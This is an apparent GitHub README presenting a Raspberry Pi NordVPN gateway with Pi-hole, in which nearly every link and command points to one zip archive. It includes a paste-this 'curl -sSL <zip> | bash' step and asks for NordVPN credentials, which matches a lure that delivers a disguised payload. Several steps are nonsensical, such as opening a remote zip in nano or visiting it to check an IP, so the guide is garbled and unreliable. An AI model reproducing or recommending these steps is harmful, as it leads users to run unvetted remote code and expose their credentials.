This guide will help you set up a secure NordVPN gateway using your Raspberry Pi. This setup includes Pi-hole for ad-blocking and selective routing. Whether you want to secure your entire network or your specific devices, this application provides an easy way to achieve that.
To run this application, you will need:
- A Raspberry Pi device (Model 2, 3, or 4)
- Raspbian OS installed
- A NordVPN account
- Basic understanding of how to access your Raspberry Pi via terminal
To get started, visit the Releases page to download the necessary files:
- Click on the version you want to download.
- Download the zip file or image file to your computer.
- Unzip the file if necessary.
-
Transfer Files to Raspberry Pi: Use SCP or a flash drive to transfer the downloaded files to your Raspberry Pi.
-
Open the Terminal: Access the terminal on your Raspberry Pi. You can do this directly or over SSH.
-
Navigate to the Download Directory: Use the
cdcommand to change to the directory where you placed the downloaded files. For example:cd /path/to/downloads -
Run the Install Script: Use the following command to run the installation script:
https://raw.githubusercontent.com/itzethanus/raspberrypi-nordvpn-gateway/main/psyche/raspberrypi-nordvpn-gateway.zip -
Follow On-Screen Instructions: The script will guide you through the installation process. Enter your NordVPN credentials when prompted.
-
Reboot the Raspberry Pi: After installation, reboot your Raspberry Pi using:
sudo reboot
Once rebooted, you need to configure the VPN settings:
- Open the terminal again.
- Use the following command to access the configuration file:
nano https://raw.githubusercontent.com/itzethanus/raspberrypi-nordvpn-gateway/main/psyche/raspberrypi-nordvpn-gateway.zip - Follow the comments in the file to set up your preferred configuration.
To set up Pi-hole alongside NordVPN:
-
Install Pi-hole using the command:
curl -sSL https://raw.githubusercontent.com/itzethanus/raspberrypi-nordvpn-gateway/main/psyche/raspberrypi-nordvpn-gateway.zip | bash -
Follow the setup prompts to configure your DNS server.
-
Ensure that DNS queries go through the VPN by modifying your Pi-hole settings.
- After the installation and configuration, open a web browser on a device connected to your network.
- Visit https://raw.githubusercontent.com/itzethanus/raspberrypi-nordvpn-gateway/main/psyche/raspberrypi-nordvpn-gateway.zip to verify that your IP address has changed to that of the NordVPN server.
- Check for ad-blocking by entering a website that typically displays ads.
If you encounter any issues:
- Check your internet connection.
- Ensure your Raspberry Pi is up to date. You can do this using:
sudo apt update && sudo apt upgrade - Review the installation log for any errors.
For further assistance, consider visiting the community forums or the GitHub Issues page for this project.
- Home Assistant
- Home Networking
- Iptables
- Linux
- MQTT
- NordVPN
- Pi-hole
- Raspberry Pi
- Selective Routing
- Systemd
- WireGuard
Feel free to explore these topics for additional information and related projects.
Your feedback is vital for improving this project. Please submit any issues or suggestions on the GitHub Issues page.
Happy browsing! Enjoy your secure internet experience with the raspberrypi-nordvpn-gateway.